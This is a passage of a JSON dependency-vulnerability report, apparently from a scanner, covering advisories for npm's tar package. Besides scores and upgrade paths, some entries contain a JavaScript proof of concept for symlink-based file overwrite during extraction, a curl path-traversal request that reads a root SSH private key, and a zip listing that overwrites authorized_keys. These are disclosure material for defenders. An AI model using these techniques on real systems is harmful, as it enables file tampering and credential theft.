"title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` 